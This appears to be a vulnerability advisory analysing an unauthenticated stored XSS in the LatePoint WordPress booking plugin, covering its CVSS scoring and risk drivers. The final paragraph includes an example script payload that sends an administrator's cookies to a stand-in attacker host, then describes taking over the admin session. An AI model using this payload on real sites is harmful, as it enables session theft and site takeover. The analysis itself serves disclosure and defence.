LatePoint CVE-2026-7332

No special conditions - remote unauthenticated exploitation against default configurations of LatePoint Calendar Booking Plugin for WordPress versions ≤5.5.0. The vulnerability triggers automatically when any booking attempt is processed, regardless of Stripe Connect configuration status, because the latepoint_order_intent_created action hook fires before payment gateway validation. Exploitation does NOT require a functional Stripe integration, active payment processing, or any non-default plugin settings. However, successful impact requires an authenticated administrator to view the LatePoint activity log interface where the stored XSS payload executes. The lack of administrator interaction at injection time (UI:N in CVSS) means attackers can poison the database at will, but actual code execution is delayed until admin review, creating a time-of-check-time-of-use gap that limits real-time attack chaining but enables persistent compromise.

The CVSS vector CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N indicates network-exploitable attacks with no authentication barriers, low complexity, and changed scope enabling cross-context attacks. The score of 7.2 is justified by the scope change - attackers can inject persistent malicious code into admin contexts from an unauthenticated position. However, real-world exploitation requires social engineering to lure an administrator to view the poisoned activity log, which introduces a human dependency not reflected in UI:N. No EPSS score, KEV status, or POC availability data was provided, suggesting this is a recently disclosed vulnerability without confirmed active exploitation. The Wordfence threat intelligence reference and detailed source code locations indicate thorough researcher validation. Primary risk drivers are: (1) zero authentication requirements for injection, (2) persistence in database guaranteeing repeated execution, (3) targeting of WordPress admin users who possess elevated privileges. Risk is elevated for high-traffic appointment booking sites where admins frequently review activity logs. The lack of Stripe requirement as stated in the description contradicts typical assumptions about payment gateway vulnerabilities, meaning many administrators may incorrectly assume their non-Stripe configurations are unexploitable.

An unauthenticated attacker crafts a malicious booking request to a WordPress site running LatePoint ≤5.5.0, injecting JavaScript payload into the booking_form_page_url parameter (e.g., <script>document.location='https://attacker.com/steal?cookie='+document.cookie</script>). The plugin writes this unsanitized input to the activity log database table via the latepoint_order_intent_created hook before any Stripe validation occurs. When a site administrator logs into WordPress and navigates to the LatePoint activity log to review bookings, the stored script executes in their browser session, exfiltrating their authentication cookies to the attacker's server. The attacker then uses the stolen session to access the WordPress admin panel with full privileges.